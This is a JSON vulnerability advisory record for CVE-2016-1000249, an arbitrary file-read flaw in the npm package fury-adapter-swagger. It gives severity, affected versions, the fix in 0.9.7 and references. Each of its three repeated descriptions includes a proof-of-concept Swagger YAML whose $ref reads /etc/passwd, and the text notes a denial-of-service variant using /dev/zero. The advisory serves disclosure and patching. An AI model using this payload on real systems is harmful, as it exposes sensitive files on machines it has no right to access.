{"id":"CVE-2016-1000249","aliases":["GHSA-2r7f-4h2c-5x73"],"status":"published","title":"fury-adapter-swagger allows arbitrary file read from system","description":"`fury-adapter-swagger` from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like `/dev/zero`.\n\n## Proof of Concept:\n\n```yaml\n---\nswagger: '2.0'\ninfo:\n  title: Read local files\n  version: '1.0'\n\npaths:\n  /foo:\n    get:\n      responses:\n        200:\n          description: Some description\n          examples:\n            text/html:\n              example:\n                $ref: '/etc/passwd'\n```\n\n\n## Recommendation\n\nUpgrade to version 0.9.7 or later.","severity":{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2020-09-01T16:38:33Z","modified":"2023-11-08T03:58:08Z","fixes":[{"ecosystem":"npm","package":"fury-adapter-swagger","fixed_in":["0.9.7"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"fury-adapter-swagger","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.0"},{"fixed":"0.9.7"}]}]},{"source":"osv","ecosystem":"npm","package":"fury-adapter-swagger","ranges":[{"type":"SEMVER","events":[{"introduced":"0.2.0"},{"fixed":"0.9.7"}]}]}],"references":[{"url":"https://www.npmjs.com/advisories/305","tags":["web"]},{"url":"https://github.com/apiaryio/fury-adapter-swagger/pull/89","tags":["web"]},{"url":"https://github.com/apiaryio/fury-adapter-swagger/commit/777e2d68f03546a88f3203bbd4725df8b1f662a7","tags":["web"]},{"url":"https://github.com/apiaryio/fury-adapter-swagger/commit/f4407e3a5323bc31123d45dbc93b8417002e4d51#diff-54c345dc104dc19440f9c2482b7883df820e8b9b699fdd8fa07e2773e7197a29","tags":["web"]},{"url":"https://security.snyk.io/vuln/npm:fury-adapter-swagger:20161024","tags":["web"]},{"url":"https://github.com/advisories/GHSA-2r7f-4h2c-5x73"},{"url":"https://github.com/apiaryio/fury-adapter-swagger","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-2r7f-4h2c-5x73","title":"fury-adapter-swagger allows arbitrary file read from system","description":"`fury-adapter-swagger` from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like `/dev/zero`.\n\n## Proof of Concept:\n\n```yaml\n---\nswagger: '2.0'\ninfo:\n  title: Read local files\n  version: '1.0'\n\npaths:\n  /foo:\n    get:\n      responses:\n        200:\n          description: Some description\n          examples:\n            text/html:\n              example:\n                $ref: '/etc/passwd'\n```\n\n\n## Recommendation\n\nUpgrade to version 0.9.7 or later.","status":"published","published":"2020-09-01T16:38:33Z","modified":"2023-09-11T16:45:35Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:37:03.916765Z"}],"osv":[{"id":"GHSA-2r7f-4h2c-5x73","title":"fury-adapter-swagger allows arbitrary file read from system","description":"`fury-adapter-swagger` from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like `/dev/zero`.\n\n## Proof of Concept:\n\n```yaml\n---\nswagger: '2.0'\ninfo:\n  title: Read local files\n  version: '1.0'\n\npaths:\n  /foo:\n    get:\n      responses:\n        200:\n          description: Some description\n          examples:\n            text/html:\n              example:\n                $ref: '/etc/passwd'\n```\n\n\n## Recommendation\n\nUpgrade to version 0.9.7 or later.","status":"published","published":"2020-09-01T16:38:33Z","modified":"2023-11-08T03:58:08.51972Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:34.700741Z"}]}}